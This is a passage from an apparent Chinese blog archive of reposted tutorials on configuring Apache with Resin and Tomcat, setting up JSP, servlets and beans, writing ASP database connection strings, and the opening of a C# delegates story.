  【提示】如果你需要改服务器的IP,则修改上面红色代码即可(修改127.0.0.1为你服务器IP地址并确认web端口
  
  2、 继续查找以下内容:
  
  # DocumentRoot: The directory out of which you will serve your
  # documents. By default, all requests are taken from this directory, but
  # symbolic links and aliases may be used to point to other locations.
  #
  DocumentRoot "D:/apache2/htdocs"
  
  【提示】如果你想改变放置运行JSP文件的目录,就将上面红色的代码修改为: DocumentRoot "盘符:/路径",注意,要使用"/"而不是"/"。
  
  3、 最后查找下面内容:
  
  #Listen 12.34.56.78:80
  Listen 8080
  
  【提示】如果你想修改Apache的监听端口,就在这里进行。
  
  OK,到这里就算完成了。因为简单的说来,配置Apache就是配置httpd.conf文件。如果你想进行更详细深入的配置,请自行查阅相关文章,这里不再一一列举。
  
  第八步:测试Apache服务。
  
  1、进入MS-DOS方式,再进入D:/apache2/bin/目录下,输入下面命令将Apache安装成服务:
  apache -k install 回车。
  
  2、双击任务栏右下角的Apache Monitor,即可在窗口里看到一个“Apache2”,再按右边的Start按钮启动Apache2。

  3、打开IE,在地址栏中输入:http://127.0.0.1:8080/(如果在配置httpd.conf时你修改过此IP地址,就请输入你修改后的地址),如果出现Apache的说明页面,表示一切OK!至此,已经成功安装了Apache,现在我们只需把html文件放到apache2/htdocs/目录下即可访问。例如该目录下有一个文件叫hello.htm,那么在地址栏的输入格式就为:http://127.0.0.1:8080/hello.htm


第九步:安装Resin
  
  Apache只是一个Web服务器,没有解析器的支持是没法运行JSP的,所以我们还需要安装一个解析器,这里我们选择Resin。双击下载到的压缩文件resin-2.1.9.zip,再将它解压到任意目录下(D:/Resin-2.1.9)进行相应配置即可,因为Resin是不需要安装的绿色程序。
  
  1、 用任意网页编写软件(推荐使用Dreamweaver)打开解压目录里的resin-2.1.9/conf/resin.conf文件,查找到以下内容:
  <doc-dir>doc</doc-dir>
  然后将其修改为: <doc-dir>D:/apache2/htdocs/</doc-dir>
  
  【提示】此目录是Resin运行JSP文件的目录,也就是说JSP文件必须放在这个目录下才能正常运行。
  
  2、 接着再查找到下面内容:
  <http port='8080'/>
  然后将其修改为:<http port='7070'/>
  
  【提示】因为8080端口已经在前面配置给Apache服务了,如果这里不作修改,Apache和Resin就会产生端口冲突而导致运行异常。
  
  3、 最后一步是进入刚才安装Apache服务的目录,打开Apache2/conf/httpd.conf文件,在最未端加入以下代码:
  # Resin的结合配置部分:
  LoadModule caucho_module "D:/resin-2.1.9/libexec/apache-2.0/mod_caucho.dll"
  #上面的路径改成你自己的路径
  <IfModule mod_caucho.c>
  CauchoHost localhost 6802
  AddHandler caucho-request jsp
  <Location /servlet/*>
  SetHandler caucho-request
  </Location>
  </IfModule>
  
  4、 OK,准备好没?我们要开始测试刚刚建立的JSP运行环境了!先启动Resin(双击运行Resin-2.1.9/bin/httpd.exe文件即可启动Resin),当然Apache服务也要一起启动。然后在Apache2/htdocs/目录下新建一个叫后缀名为jsp的文本文件,比如first.jsp,然后输入简单的网页代码,做个测试的页面:
  <%@ page language="java" contentType="text/html;charset=gb2312"%>
  <%
  out.print("我爱jsp!");
  %>
  
  赶快打开IE,输入:http://127.0.0.1:8080/first.jsp试试吧!如果你看到"我爱jsp!"几个字赫然在目,那么恭喜你,大功告成! 10:13 | 添加评论 | 固定链接 | 写入日志(转贴)Windows环境下的tomcat + apache配置
Apache的HTTPD是目前比较受欢迎的网站服务器软件,它不但功能强大,而且完全免费,并且支持市场上流行的各种操作系统(Windows,Linux,Mac os)。同时对于Java Servlet/JSP的支持,通常也会使用同样Apache出品的Tomcat。
Tomcat除了支持Java Servlet/JSP之外,也可以当做网站服务器使用,但是在对于静态的html文件、图片文件等的解析效率上不如Apache HTTPD的执行效率高。应用tomcat的服务器如果网站的访问量较大,系统资源占用会明显升高,近日笔者在项目执行过程中遇到这一问题,便也想到同时应用tomcat+apache服务。Apache负责静态资源处理,tomcat负责jsp和java servlet等动态资源的处理。在网上看了不少介绍Apache和Tomcat集成的帖子。大多为互相转贴,有几个关键问题没有讲清楚,并且多数文章讲解中所举的软件版本都已经比较老旧。因而笔者总结自己实际操作的经验,希望对大家有所帮助。

准备工作:
1、  apache 2.0.55
下载地址:http://apache.justdn/httpd/binaries/win32/apache_2.0.55-win32-x86-no_ssl.msi
2、  Tomcat 5.5
下载地址:http://tomcat.apache/download-55.cgi
3、  JRE1.5.0 update6
下载地址:http://java.sun/j2se/1.5.0/download.jsp
你也可以选择安装JDK,JDK不仅包含了运行java应用程序的支持,同时也包含J2SE的开发包。但如果您只是应用的话,我建议您仅下载JRE即可,为什么?因为它小啊:)
4、JK-apache-2.0.55
下载地址:
http://www.apache/dist/tomcat/tomcat-connectors/jk/binaries/win32/jk-1.2.15/mod_jk-apache-2.0.55.so
注意jk的版本一定要与你的apache版本相同。Jk下载可以直接到apache官网下载,有多种版本,适用于各种操作系统,地址如下:
http://www.apache/dist/tomcat/tomcat-connectors/jk/binaries/
windows用户进入win32目录,不同的tomcat对应不同jk文件扩展名不同,有可能是*.dll,或者*.so,根据你的tomcat版本下载合适的jk版本。

安装,软件的安装顺序可以适当调整,但是jre(jdk)一定要在tomcat之前安装:
1、安装JRE(JDK)
此处选择默认安装即可,(旧版本的JDK安装完之后需要设置系统的环境变量,JRE和JDK1.5.0以后版本不设置也没关系。)安装完成之后你可以选择按照下面的示例设置你的系统环境变量:我的电脑->右键属性->常规->高级->环境变量
JAVA_HOME = d:/Java/jre1.5.0_06
CLASSPATH = .;d:/Java/jre1.5.0_06/lib/dt.jar;d:/Java/jre1.5.0_06/lib/tools.jar
PATH = d:/Java/jre1.5.0_06/bin
注意文件路径要改成你实际安装的路径。

2、Apache安装
此处注意,如果你本机已经装了iis并且占用80端口,务必先在服务中将iis停止或禁用。软件默认安装即可。安装过程中设置Network Domain和Server Name为localhost,设置你的email地址,下方会让你选择only for the current user或for all users。默认选择for all users。这样Apache就会占用80端口,并且做为一个系统服务开机自运行。
安装完成之后,你在浏览器中输入http://localhost,将会看到Apache的成功页面.Apache的主目录是d:/Apache/Apache2,此时Apache,已经运行,你可以在窗口的托盘看到他的图标,双击图标,在弹开的窗口选择"Open Apache Monitor",点Stop,停止Apaceh服务,因为下面要安装Tomcat和JK.

3、Tomcat安装
选择安装目录为了d:/Tomcat,其余为默认安装.成功后在浏览器中输入http://localhost:8080,出现Tomcat页面表示安装成功了。关于tomcat的设置已经有很多非常详细的文章,在此就不再详述了。

4、JK的安装
把mod_jk_2.0.55.so拷贝到d:/Apache/Apache2/modules/下.

以上安装全部完成后,打开cmd命令提示符,运行d:/Apache/Apache2/bin/Apache.exe -t 你将会看到"Syntax OK",表示Apache配置正常.这个命令非常有用,下面在继续配置Apache的时候还会再次用到。

配置服务器:

1、配置Tomcat
查找目录下的conf/workers.properties文件,并对比下方文本内容,如有不同以下方内容为准修改。
workers.tomcat_home=d:/Tomcat #让mod_jk模块知道Tomcat的位置
workers.java_home=d:/Java/jre1.5.0_06 #让mod_jk模块知道jre的位置
ps=/
worker.list=ajp13 #模块版本
worker.ajp13.port=8009 #工作端口,若没占用则不用修改
worker.ajp13.host=localhost #本机,若上面的Apache主机不为localhost,作相应修改
worker.ajp13.type=ajp13 #类型
worker.ajp13.lbfactor=1 #代理数,不用修改

如果文件不存在则创建。并填充上述内容。

2、配置Apache
打开d:/Apache/Apache2/conf下的httpd.conf,在最后加入下面这段代码并保存。
#设置Apache与Tomcat之间的连接,让Apache遇到jsp文件时,在后台将其交由Tomcat去处理
LoadModule jk_module modules/mod_jk_2.0.55.so
#此处mod_jk的文件为你下载的文件
JkWorkersFile "d:/Tomcat/conf/workers.properties"
#指定tomcat监听配置文件地址
JkLogFile "d:/Tomcat/logs/mod_jk2.log"
#指定日志存放位置
JkLogLevel info

#设置虚拟主机
<VirtualHost localhost>
ServerAdmin localhost
DocumentRoot d:/test1
#您的站点项目所在路径,应与tomcat中的目录设置相同
ServerName localhost
DirectoryIndex index.html index.htm index.jsp
ErrorLog logs/shsc-error_log.txt
CustomLog logs/shsc-access_log.txt common
JkMount /servlet/* ajp13
#让Apache支持对servlet传送,用以Tomcat解析
JkMount /*.jsp ajp13
#让Apache支持对jsp传送,用以Tomcat解析
JkMount /*.do ajp13
#让Apache支持对.do传送,用以Tomcat解析
</VirtualHost>

#开头的行为注释,可以删除。此处的配置我是以设置虚拟目录,重新指定了serverName,DocumentRoot路径的方式配置站点,实际上,Apache的配置可以非常灵活,你也可以不采用虚拟目录的方式,而直接去修改站点的默认配置,使用任意文本编辑工具,搜索如ServerName,DocumentRoot,ServerAdmin等相关项,然后将该项的配置根据你的实际情况进行修改即可。我建议大家可以多多尝试不同的配置,这是一种很有乐趣的体验。
所有的修改完成这后,再次执行d:/Apache/Apache2/bin/Apache.exe -t 如果看到"Syntax OK",说明你所有配置无误,双击窗口的托盘中的图标,然后点击Start运行。
在地址栏中分别输入http://localhost/,与http://localhost:8080/若结果相同,Apache与Tomcat整合成功

注:作者原创,转载请注明9:55 | 添加评论 | 固定链接 | 写入日志(转贴)Redhat 下安装 Tomcat 之完全指南
  本文档提供关于Tomcat的基础信息.主要内容如下:
  
  Tomcat二进制版本安装
  与Tomcat相关的脚本的主要内容
  
  与server.xml相关的主要内容,Tomcat的主要配置文件
  
  如何设置Tomcat与宿主web服务器一起工作的说明
  
  如何应用Tomcat配置一个现实中的web站点
  
  希望此文档足以使新用户可以开始使用Tomcat.如找不到某方面的内容请(按以下顺序)
  
  查找Tomcat faq
  
  查找Tomcat包清单
  
  向Tomcat用户邮件列表发出问题
  
  如此疑问的答案不存在,我们鼓励把对疑问的解答放入Tomcat faq或此文档.如对此文档有意见或建议,请发送到Tomcat的邮件列表.
  
  Getting Started
  
  Tomcat是一个带有jsp环境的servlet容器.servlet容器是一个根据用户的行为可以管理和激活servlet的运行时的shell.
  
  粗略地可以将servlet容器分为如下几类:
  
  独立的servlet容器
  
  内置有web服务器的一部分.指当使用基于Java的web服务器的情形,例如servlet容器是JavaWebServer的一个部分. 独立的servlet容器是Tomcat的默认模式.
  
  大多数的web服务器并非基于Java,因此,我们可以得出如下两种容器的模式.
  
  进程内的servlet容器
  
  servlet容器作为web服务器的插件和Java容器的实现.Web服务器插件在内部地址空间打开一个JVM(java virtual machine)使Java容器得以在内部运行.如有某个需要调用servlet的请求,,插件将取得对此请求的控制并将他传递(使用JNI)给Java容器.进程内容器对于多线程,单进程的服务器非常合适并且提供很好的运行速度,但伸缩性有所不足.
  
  进程外的servlet容器
  
  servlet容器运行于web服务器之外的地址空间且作为web服务器的插件和Java容器的实现的结合.web服务器插件和Java容器 JVM使用IPC机制(通常是TCP/IP)进行通讯.当一个调用servlet的请求到达时,插件将取得对此请求的控制并将其传递(使用IPC等)给Java容器,进程外容器的反应时间或进程外容器引擎不如进程内容器,但进程外容器引擎在许多其他可比的范围内更好(伸缩性,稳定性等).
  
  Tomcat既可作为独立的容器(主要是用于开发与调试)又可作为对现有服务器的附加(当前支持Apache,IIS和Netscape服务器).即任何时候配置Tomcat你都必须决定如何应用他,如选择第二或第三种模式,你还需要安装一个web服务器接口.
  
  Tomcat与Jserv有何区别?Tomcat是Jserv吗?
  
  这是个常见的误解.Jserv是Servlet API2.0兼容并与Apache一起使用的容器.Tomcat是一个完全重写的并与Servlet API2.2和JSP1.1兼容的容器.
  
  Tomcat使用了一些为Jserv而写的代码,特别是Jserv的Apache接口,但这是唯一的相同之处.
  
  怎样安装Tomcat的二进制版本?
  
  下载 zip/tar.gz 任何压缩文件,从http://jakarta.apche/download/binindex.html处.
  
  解压缩此文件到某目录(如:foo).将会生成一子目录,名为”tomcat”.
  
  转换到”tomcat”目录设置一新的环境变量(TOMCAT_HOME)指向你安装的tomcat的目录
  
  WIN32平台,键入:
  
  “set TOMCAT_HOME=foo/tomcat”
  
  Unix平台:
  
  如是bash/sh环境, 键入:”TOMCAT_HOME=foo/tomcat;export TOMCAT_HOME”
  
  如是tcsh环境, 键入:”setenv TOMCAT_HOME foo/tomcat”
  
  设置环境变量JAVA_HOME指向你JDK的目录,然后添加JAVA解释器到你的PATH环境变量.
  
  现在可以运行TOMCAT并作为一个独立的Servlet容器(模式一)
  
  启动与关闭Tomcat
  
  使用”bin”目录中的脚本启动与关闭Tomcat.
  
  启动:
  
  uinx:bin/startup.sh
  
  win32:bin/startup
  
  关闭:
  
  unix:bin/shutdown.sh
  
  win32:bin/shutdown
  
  Tomcat目录结构
  
  假设你已将Tomcat解压,你已得到下列目录结构:
  目录名--描述
  
  bin
  
  包含启动/关闭脚本
  
  conf
  
  包含不同的配置文件,
  
  包括 server.xml(Tomcat的主要配置文件)和为不同的Tomcat配置的web应用设置缺省值的文件web.xml
  
  doc
  
  包含各种Tomcat文档
  
  lib
  
  包含Tomcat使用的jar文件.unix平台此目录下的任何文件都被加到Tomcat的classpath中
  
  logs
  
  Tomcat摆放日志文件的地方
  
  src
  
  ServletAPI源文件.先别高兴,这些只有些必须在Servlet容器内实现的空接口和抽象类
  
  webapps
  
  包含web项目示例
  
  此外你可以Tomcat会创建如下目录:
  
  work
  Tomcat自动生成,放置Tomcat运行时的临时文件(如编译后的JSP文件).如在Tomcat运行时删除此目录.JSP页面将不能运行.
  
  classes
  你可以创建此目录来添加一些附加的类到类路径中.任何你加到此目录中的类都可在Tomcat的类路径中找到自身.
  
  Tomcat的脚本
  
  Tomcat是一个Java程序,因此在设置好几个环境变量后即可用命令行的方式运行.然而设置Tomcat使用的每个环境变量和如下的命令行参数乏味且易错.因此,Tomcat开发组提供了一些脚本使启动和关闭Tomcat变得轻松.
  
  注意:这些脚本仅仅是个便利的方法去启动和关闭Tomcat.你可修改他们来定制CLASSPATH,环境变量如PATH,LD_LIBRARY_PATH,等等,只要是生成一个正确的命令行即可.
  
  这些脚本是什么呢?下表列出对一般用户最重要的脚本.
  tomcat
  
  主脚本.设置合适的环境变量,包括CLASSPATH,TOMCAT_HOME和JAVA_HOME和用适合的命令行参数启动Tomcat
  
  startup
  
  在后台启动Tomcat.”tomcat start”命令的替换方式
  
  shutdown
  
  关闭Tomcat.”tomcat stop”命令的替换方式
  
  对用户最重要的脚本是tomcat(tomcat.bat/tomcat.sh).其他Tomcat相关的脚本作为一个简单的面向单任务的指向Tomcat脚本(设置不同的命令行参数等)的入口.
  
  仔细考察tomcat.bat/tomcat.sh,它按以下步骤运行:
  
  在Unix下的步骤:
  
  如未指定,推测 TOMCAT_HOME
  
  如未指定,推测 JAVA_HOME
  
  设置CLASS_PATH包含:
  
  1.${TOMCAT_HOME}/classes目录(如果存在)
  
  2.${TOMCAT_HOME}/lib的一切内容
  
  3.${JAVA_HOME}/lib/tools.jar(此jar文件包含工具javac,我们需要javac处理jsp文件.
  
  运行带有设定Java环境变量的命令行参数的java命令,调入tomcat.home,和org.apache.tomcat.startup.Tomcat 作为启始类.同时也传递命令行参数到org.apache.tomcat.startup.Tomcat ,例如:
  
  执行start/stop/run 等的操作
  
  此Tomcat进程使用指向server.xml的路径,
  
  例如server.xml放置于etc/server_1.xml并且用户意图在后台启动apache,键 入如下命令行:
  
  bin/tomcat.sh start ?f /etc/server_1.xml
  
  在Win32下的步骤:(略)
  
  由此可见,win32版的tomcat.bat与Unix版的几乎一致.尤其在它不推测TOMCAT_HOME和JAVA_HOME的值,并且不将所有的jar文件放入类路径中.
  
  Tomcat的配置文件
  
  Tomcat的配置基于两个配置文件:
  
  1.server.xml - Tomcat的全局配置文件
  
  2.web.xml - 在Tomcat中配置不同的关系环境
  
  这一部分将讲述如何使用这些文件.我们不会包含web.xml的内部机制,这些内部机制深入到了Servlet API的细节,因此,我们将讨论涵盖servler.xml内容及web.xml在Tomcat关系环境中的用法.
  
  server.xml
  
  server.xml是Tomcat的主配置文件.完成两个目标:
  
  1 提供Tomcat组件的初始配置.
  
  2 说明Tomcat的结构,含义,使得Tomcat通过实例化组件完成起动及构建自身, 如在server.xml所指定的
  
  下表描述server.xml种的重要元素:
  
  元素及其描述
  
  Server
  server.xml文件中最重要的元素.Server定义了一个Tomcat服务器.一般你不用对他担心太多.Server元素能包含Logger和ContextManager元素类型
  
  Logger
  此元素定义一个Logger对象,每个Logger都有一个名字去标识,也有一个纪录Logger的输出和冗余级别(描述此日志级别)和包含日志文件的路径.通常有servlet的Logger(ServletContext.log()处),JSP和Tomcat运行时的Logger.
  
  ContextManager
  ContextManager说明一套ContextInterceptor, RequestInterceptor , Context和他们的Connectors的配置及结构.ContextManager有几个随同提供的特性:
  1. 用来纪录调试信息的调试级别
  2. webapps/,conf/,logs/和所有已定义的环境的基本位置.用来使Tomcat可以在TOMCAT_HOME外的其他目录启动.
  3. 工作目录的名字
  
  ContextInterceptor&RequestInterceptor
  这些侦听器(interceptors)侦听具体发生在ContextManager中的事件.例如,ContextInterceptor侦听Tomcat的启动及终止事件,RequestInterceptor监视在它服务过程中用 9:53 | 添加评论 | 固定链接 | 写入日志(转贴)Tomcat+JSP经典配置实例
  tomcat下配置jsp、servlet和bean。
  
  一、开发环境配置
  
  第一步:下载j2sdk和tomcat:到sun官方站(http://java.sun/j2se/1.5.0/download.jsp)下载j2sdk,注意下载版本为Windows Offline Installation的SDK,同时最好下载J2SE 1.5.0 Documentation,然后到tomcat官方站点(http://jakarta.apache/site/downloads/downloads_tomcat-5.cgi)下载tomcat(下载最新5.5.9版本的tomcat);
  
  第二步:安装和配置你的j2sdk和tomcat:执行j2sdk和tomcat的安装程序,然后按默认设置进行安装即可。
  
  1.安装j2sdk以后,需要配置一下环境变量,在我的电脑->属性->高级->环境变量->系统变量中添加以下环境变量(假定你的j2sdk安装在c:/j2sdk1.5.0):
  
  JAVA_HOME=c:/j2sdk1.5.0
  classpath=.;%JAVA_HOME%/lib/dt.jar;%JAVA_HOME%/lib/tools.jar;(.;一定不能少,因为它代表当前路径)
  path=%JAVA_HOME%/bin
  
  接着可以写一个简单的java程序来测试J2SDK是否已安装成功:
  
  public class Test{
  public static void main(String args[]){
  System.out.println("This is a test program.");
  }
  }
  
  将上面的这段程序保存为文件名为Test.java的文件。
  
  然后打开命令提示符窗口,cd到你的Test.java所在目录,然后键入下面的命令
  
  javac Test.java
  java Test
  
  此时如果看到打印出来This is a test program.的话说明安装成功了,如果没有打印出这句话,你需要仔细检查一下你的配置情况。
  
  2.安装Tomcat后,在我的电脑->属性->高级->环境变量->系统变量中添加以下环境变量(假定你的tomcat安装在c:/tomcat):
  
  CATALINA_HOME=c:/tomcat
  CATALINA_BASE=c:/tomcat
  
  然后修改环境变量中的classpath,把tomat安装目录下的common/lib下的(可以根据实际追加)servlet.jar追加到classpath中去,修改后的classpath如下:
  
  classpath=.;%JAVA_HOME%/lib/dt.jar;%JAVA_HOME%/lib/tools.jar;%CATALINA_HOME%/common/lib/servlet.jar;
  
  接着可以启动tomcat,在IE中访问http://localhost:8080,如果看到tomcat的欢迎页面的话说明安装成功了。
  
  第三步:建立自己的jsp app目录
  
  1.到Tomcat的安装目录的webapps目录,可以看到ROOT,examples, tomcat-docs之类Tomcat自带的的目录;
  2.在webapps目录下新建一个目录,起名叫myapp;
  3.myapp下新建一个目录WEB-INF,注意,目录名称是区分大小写的;
  4.WEB-INF下新建一个文件web.xml,内容如下:
  
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE web-app
  PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
  "http://java.sun/dtd/web-app_2_3.dtd">
  <web-app>
  <display-name>My Web Application</display-name>
  <description>
  A application for test.
  </description>
  </web-app>
  
  5.在myapp下新建一个测试的jsp页面,文件名为index.jsp,文件内容如下:
  <html><body><center>
  Now time is: <%=new java.util.Date()%>
  </center></body></html>
  
  6.重启Tomcat
  
  7.打开浏览器,输入http://localhost:8080/myapp/index.jsp 看到当前时间的话说明就成功了。
  
  第四步:建立自己的Servlet:
  
  1.用你最熟悉的编辑器(建议使用有语法检查的java ide)新建一个servlet程序,文件名为Test.java,文件内容如下:
  
  package test;
  import java.io.IOException;
  import java.io.PrintWriter;
  import javax.servlet.ServletException;
  import javax.servlet.http.HttpServlet;
  import javax.servlet.http.HttpServletRequest;
  import javax.servlet.http.HttpServletResponse;
  public class Test extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response)
  throws ServletException, IOException {
  PrintWriter out=response.getWriter();
  out.println("<html><body><h1>This is a servlet test.</h1></body></html>");
  out.flush();
  }
  }
  
  2 .编译
  将Test.java放在c:/test下,使用如下命令编译:
  
  C:/Test>javac Test.java
  
  然后在c:/Test下会产生一个编译后的servlet文件:Test.class
  
  3 .将结构test/Test.class剪切到%CATALINA_HOME%/webapps/myapp/WEB-INF/classes下,也就是剪切那个test目录到classes目录下,如果classes目录不存在,就新建一个。 现在webapps/myapp/WEB-INF/classes下有test/Test.class的文件目录结构
  
  4 .修改webapps/myapp/WEB-INF/web.xml,添加servlet和servlet-mapping
  
  编辑后的web.xml如下所示,红色为添加的内容:
  
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE web-app
  PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
  "http://java.sun/dtd/web-app_2_3.dtd">
  <web-app>
  <display-name>My Web Application</display-name>
  <description>
  A application for test.
  </description>
  <servlet>
  <servlet-name>Test</servlet-name>
  <display-name>Test</display-name>
  <description>A test Servlet</description>
  <servlet-class>test.Test</servlet-class>
  </servlet>
  <servlet-mapping>
  <servlet-name>Test</servlet-name>
  <url-pattern>/Test</url-pattern>
  </servlet-mapping>
  </web-app>
  
  这段话中的servlet这一段声明了你要调用的Servlet,而servlet-mapping则是将声明的servlet"映射"到地址/Test上
  
  5 .好了,重启动Tomcat,启动浏览器,输入http://localhost:8080/myapp/Test 如果看到输出This is a servlet test.就说明编写的servlet成功了。
  
  注意:修改了web.xml以及新加了class,都要重启Tomcat
  
  第四步:建立自己的Bean:
  
  1.用你最熟悉的编辑器(建议使用有语法检查的java ide)新建一个java程序,文件名为TestBean.java,文件内容如下:
  
  package test;
  public class TestBean{
  private String name = null;
  public TestBean(String strName_p){
  this.name=strName_p;
  }
  public void setName(String strName_p){
  this.name=strName_p;
  }
  public String getName(){
  return this.name;
  }
  }
  
  2 .编译
  
  将TestBean.java放在c:/test下,使用如下命令编译:
  
  C:/Test>javac TestBean.java
  
  然后在c:/Test下会产生一个编译后的bean文件:TestBean.class
  
  3 .将TestBean.class文件剪切到 %CATALINA_HOME%/webapps/myapp/WEB-INF/classes/test下,
  
  4 .新建一个TestBean.jsp文件,文件内容为:
  
  <%@ page import="test.TestBean" %>
  <html><body><center>
  <%
  TestBean testBean=new TestBean("This is a test java bean.");
  %>
  Java bean name is: <%=testBean.getName()%>
  </center></body></html>
  
  5 .好了,重启Tomcat,启动浏览器,输入http://localhost:8080/myapp/TestBean.jsp 如果看到输出Java bean name is: This is a test java bean.就说明编写的Bean成功了。
  
  这样就完成了整个Tomcat下的jsp、servlet和javabean的配置。接下来需要做的事情就是多看书、多读别人的好代码,自己多动手写代码以增强自己在这方面开发的能力了。
  
  jvm应填写到
  c:/j2sdk/bin
  
  给你一个简单的配置::::
  
  JSP环境配置心得
  
  首先要说的是,使用jdk+tomcat完全可以配置我们的jsp服务器,不再需要其实任何东东,有很多文章介绍了Apache,其实根本用不着,一般的学习调试tomcat完全可以胜任了。
  
  安装jdk后,tomcat在安装之前会自动找到jdk的安装路径,一路点击"下一步",经过一段时间的文件复制,最后"close",完成comcat的安装。
  
  您最好去下载一个版本较高的tomcat,比如4.1以上的,因为它不需要设置太多的系统变量,右击"我的电脑",选择"属性"->"高级"->"环境变量"->"系统变量",新建一个TOMCAT_HOME,值设置成你的tomcat所在的路径,比如:D:/Program Files/Apache Group/Tomcat 5.5,配置完成。
  
  从开始菜单中找到tomcat选项,一般打开顺序是:开始->程序->Apache Tomcat 5.5,选择"Start Tomcat",让jsp服务器开始运行,此时会打开一个类似Dos的窗口,会显示一些相关的信息。< 9:52 | 添加评论 | 固定链接 | 写入日志2006/11/5
利用ASP连接各种数据库
用ASP连接DBF、DBC、MDB、Excel、SQL Server型数据库的方法:
一、ASP的对象存取数据库方法
  在ASP中,用来存取数据库的对象统称ADO(Active Data Objects),主要含有三种对象:Connection、Recordset 、Command
Connection:负责打开或连接数据
Recordset:负责存取数据表
Command:负责对数据库执行行动查询命令

二、连接各数据库的驱动程序
  连接各数据库可以使用驱动程序,也可以使用数据源,不过我建议大家使用驱动程序,因为使用驱动程序非常方便、简单,而使用数据源比较麻烦。

ODBC链接

适合数据库类型 链接方式
access "Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass;"
dBase  "Driver={microsoft dbase driver(*.dbf)};driverid=277;dbq=------------;"
Oracle  "Driver={microsoft odbc for oracle};server=oraclesever.world;uid=admin;pwd=pass;"
MSSQL server "Driver={sql server};server=servername;database=dbname;uid=sa;pwd=pass;"
MS text  "Driver={microsoft text driver(*.txt; *.csv)};dbq=-----;extensions=asc,csv,tab,txt;Persist SecurityInfo=false;"
Visual Foxpro "Driver={microsoft Visual Foxpro driver};sourcetype=DBC;sourceDB=*.dbc;Exclusive=No;"
MySQL "Driver={mysql};database=yourdatabase;uid=username;pwd=yourpassword;option=16386;"


OLEDB链接

适合的数据库类型 链接方式
access "Provider=microsoft.jet.oledb.4.0;data source=your_database_path;user id=admin;password=pass;"
Oracle "Provider=OraOLEDB.Oracle;data source=dbname;user id=admin;password=pass;"
MS SQL Server "Provider=SQLOLEDB;data source=machinename;initial catalog=dbname;userid=sa;password=pass;"
MS text  "Provider=microsof.jet.oledb.4.0;data source=your_path;Extended Properties'text;FMT=Delimited'"


而我们在一般情况下使用Access的数据库比较多,在这里我建议大家连接Access数据库使用下面的方法:

dim conn
set conn = server.createobject("adodb.connection")
conn.open = "provider=microsoft.jet.oledb.4.0;" & "data source = " & server.mappath("../db/bbs.mdb")

其中../db/bbs.mdb是你的数据库存放的相对路径!如果你的数据库和ASP文件在同一目录下,你只要这样写就可以了:

dim conn
set conn = server.createobject("adodb.connection")
conn.open = "provider=microsoft.jet.oledb.4.0;" & "data source = " & server.mappath("bbs.mdb")

有许多初学者在遇到数据库连接时总是会出问题,然而使用上面的驱动程序只要你的数据库路径选对了就不会出问题了。
21:54 | 添加评论 | 固定链接 | 写入日志2006/9/6
[-- [转载]经典的讲故事谈.NET委托: 一个C#睡前故事 --]
从前,在南方一块奇异的土地上,有个工人名叫彼得,他非常勤奋,对他的老板总是百依百顺。但是他的老板是个吝啬的人,从不信任别人,坚决要求随时知道彼得的工作进度,以防止他偷懒。但是彼得又不想让老板呆在他的办公室里站在背后盯着他,于是就对老板做出承诺:无论何时,只要我的工作取得了一点进展我都会及时让你知道。彼得通过周期性地使用“带类型的引用”(原文为:“typed reference” 也就是delegate??)“回调”他的老板来实现他的承诺,如下:


class Worker {
    public void Advise(Boss boss) { _boss = boss; }
    public void DoWork() {
        Console.WriteLine(“工作: 工作开始”);
        if( _boss != null ) _boss.WorkStarted();

        Console.WriteLine(“工作: 工作进行中”);
        if( _boss != null ) _boss.WorkProgressing();

        Console.WriteLine("“工作: 工作完成”");
        if( _boss != null ) {
            int grade = _boss.WorkCompleted();
            Console.WriteLine(“工人的工作得分=” + grade);
    }
}
private Boss _boss;
}

class Boss {
    public void WorkStarted() { /* 老板不关心。 */ }
    public void WorkProgressing() { /*老板不关心。 */ }
    public int WorkCompleted() {
        Console.WriteLine(“时间差不多!”);
        return 2; /* 总分为10 */
    }
}

class Universe {
    static void Main() {
        Worker peter = new Worker();
        Boss boss = new Boss();
        peter.Advise(boss);
        peter.DoWork();

        Console.WriteLine(“Main: 工人工作完成”);
        Console.ReadLine();
    }
}


接口
  现在,彼得成了一个特殊的人,他不但能容忍吝啬的老板,而且和他周围的宇宙也有了密切的联系,以至于他认为宇宙对他的工作进度也感兴趣。不幸的是,他必须也给宇宙添加一个特殊的回调函数Advise来实现同时向他老板和宇宙报告工作进度。彼得想要把潜在的通知的列表和这些通知的实现方法分离开来,于是他决定把方法分离为一个接口:


interface IWorkerEvents {
    void WorkStarted();
    void WorkProgressing();
    int WorkCompleted();
}

class Worker {
    public void Advise(IWorkerEvents events) { _events = events; }
    public void DoWork() {
        Console.WriteLine(“工作: 工作开始”);
        if( _events != null ) _events.WorkStarted();

        Console.WriteLine(“工作: 工作进行中”);
        if(_events != null ) _events.WorkProgressing();

        Console.WriteLine("“工作: 工作完成”");
        if(_events != null ) {
            int grade = _events.WorkCompleted();

            Console.WriteLine(“工人的工作得分=” + grade);

            }
    }
    private IWorkerEvents _events;
}

class Boss : IWorkerEvents {
    public void WorkStarted() { /* 老板不关心。 */ }
    public void WorkProgressing() { /* 老板不关心。 */ }
    public int WorkCompleted() {
        Console.WriteLine(“时间差不多!”);
        return 3; /* 总分为10 */
    }
}
委托
  不幸的是,每当彼得忙于通过接口的实现和老板交流时,就没有机会及时通知宇宙了。至少他应该忽略身在远方的老板的引用,好让其他实现了IWorkerEvents的对象得到他的工作报告。(”At least he'd abstracted the reference of his boss far away from him so that others who implemented the IWorkerEvents interface could be notified of his work progress” 原话如此,不理解到底是什么意思 )

  他的老板还是抱怨得很厉害。“彼得!”他老板吼道,“你为什么在工作一开始和工作进行中都来烦我?!我不关心这些事件。你不但强迫我实现了这些方法,而且还在浪费我宝贵的工作时间来处理你的事件,特别是当我外出的时候更是如此!你能不能不再来烦我?”

  于是,彼得意识到接口虽然在很多情况都很有用,但是当用作事件时,“粒度”不够好。他希望能够仅在别人想要时才通知他们,于是他决定把接口的方法分离为单独的委托,每个委托都像一个小的接口方法:


delegate void WorkStarted();
delegate void WorkProgressing();
delegate int WorkCompleted();

class Worker {
    public void DoWork() {
        Console.WriteLine(“工作: 工作开始”);
        if( started != null ) started();

        Console.WriteLine(“工作: 工作进行中”);
        if( progressing != null ) progressing();

